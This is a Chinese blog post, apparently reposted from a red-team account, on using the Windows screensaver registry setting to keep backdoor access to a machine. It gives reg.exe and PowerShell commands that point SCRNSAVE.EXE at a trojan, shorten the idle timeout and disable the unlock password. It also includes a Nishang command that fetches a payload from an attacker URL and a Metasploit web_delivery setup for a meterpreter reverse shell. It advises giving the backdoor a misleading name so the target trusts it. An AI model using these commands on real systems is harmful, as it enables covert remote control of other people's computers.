前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >『权限维持系列』- 屏幕保护程序后门

『权限维持系列』- 屏幕保护程序后门

作者头像
渗透攻击红队
发布2020-05-25 15:28:12
2.1K0
发布2020-05-25 15:28:12
举报
文章被收录于专栏:漏洞知识库漏洞知识库

屏幕保护程序

屏幕保护是Windows功能的一部分,使用户可以在一段时间不活动后放置屏幕消息或图形动画。众所周知,Windows的此功能被威胁参与者滥用为持久性方法。这是因为屏幕保护程序是具有.scr文件扩展名的可执行文件,并通过scrnsave.scr实用程序执行。

屏幕保护程序存储在注册表中,位置如下:

代码语言:javascript
复制
HKEY_CURRENT_USER\Control Panel\Desktop

如果电脑中没有设置屏幕保护程序,那么注册表中是没有关于其的选项。我们可以通过在电脑搜索中搜索屏幕保护,对屏保进行设置。

设置屏保之后,注册表中即会显示相关内容。

其中,SCRNSAVE.EXE为默认的屏保程序,我们可将此键值设置为我们要利用的恶意程序。在本质上,.scr文件是可执行文件。

ScreenSaveActive表示屏保状态,1为启动,0为关闭。

ScreenSaverTimeout表示屏幕保护程序启动前系统的空闲事件,单位为秒,默认为900(15分钟)。

ScreenSaverIsSecure默认参数为0,标识不需要密码即可解锁。

屏保后门设置

进行注册表修改,执行命令,将屏保设置为我们的恶意软件

代码语言:javascript
复制
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\123123.exe

使用上述命令,会发现一个问题,在执行之后,会弹出一个Yes和No的选择,如果当前的shell不是交互式shell,那岂不是利用不成功了?情况如下:

所以,命令需要完善,以满足多方面苛刻的环境,使用/f参数(强制执行)执行即可解决,命令如下:

代码语言:javascript
复制
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "c:\123123.scr" /f

效果如下:

若你想修改屏保启动时间,或者其他几个参数,附如下命令,自行修改:

代码语言:javascript
复制
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f

因为我屏保设置的时间为1分钟,所以鼠标键盘无操作一分钟之后,即可上线。

如果选用.scr后缀的文件,那我们可将木马文件的后缀由exe改为scr即可。

同样,注册表修改命令改为:

代码语言:javascript
复制
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\123123.scr

Powershell语法

我们还可以使用Powershell语法进行更改

代码语言:javascript
复制
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value 'c:\tmp\pentestlab.exe'
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value 'c:\tmp\pentestlab.scr'

经过测试呢,发现会出现如下情况,导致无法修改:

Nishang

Nishang的模块Add-ScrnSaveBackdoor.ps1,也可以用于屏保后门的创建。由于Nishang需要powershell3.0版本才可正常启用,而Win7默认是2.0版本,所以暂未利用成功。语法很简单,如下:

代码语言:javascript
复制
Import-Module .\Add-ScrnSaveBackdoor.ps1
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.145:8080/Bebr7aOemwFJO

PayloadURL是我们恶意代码的url,可用msf生成:

代码语言:javascript
复制
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST IP_Address
set target 2
exploit

总结

修改完注册表之后,屏保修改处就会显示该后门程序的名称:

所以,后门程序的名字一定要起的有迷惑性,使对方信任。

其次,关闭该后门的方法也很简单,在上述图片位置中,切换屏保程序即可,注册表中的数据就会被修改,但是后门程序并未被删除,所以,若要清除后门,我们需要先在注册表中查看后门程序的路径,才可以彻底删除。

使用此后门时一定要注意,目标机器原本是否有屏保程序。若原本就有屏保程序,此后门的设置应尽量与修改前的图片相符。我们使用msf生成的木马时,将无屏保动画显示。在此期间,为了显示屏保动画,我尝试将SCRNSAVE.EXE的数值修改为原本的屏保程序加上我们的木马文件,如下:

但是,很遗憾,没有利用成功,屏幕保护程序只能接受一个参数,超过一个参数的设置导致所有参数失效,屏保也为无,如下:

参考文章:https://www.cnblogs.com/xiaozi/p/11833495.html

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-04-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 SaulGoodman 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 屏幕保护程序
  • 屏保后门设置
    • Powershell语法
      • Nishang
  • 总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档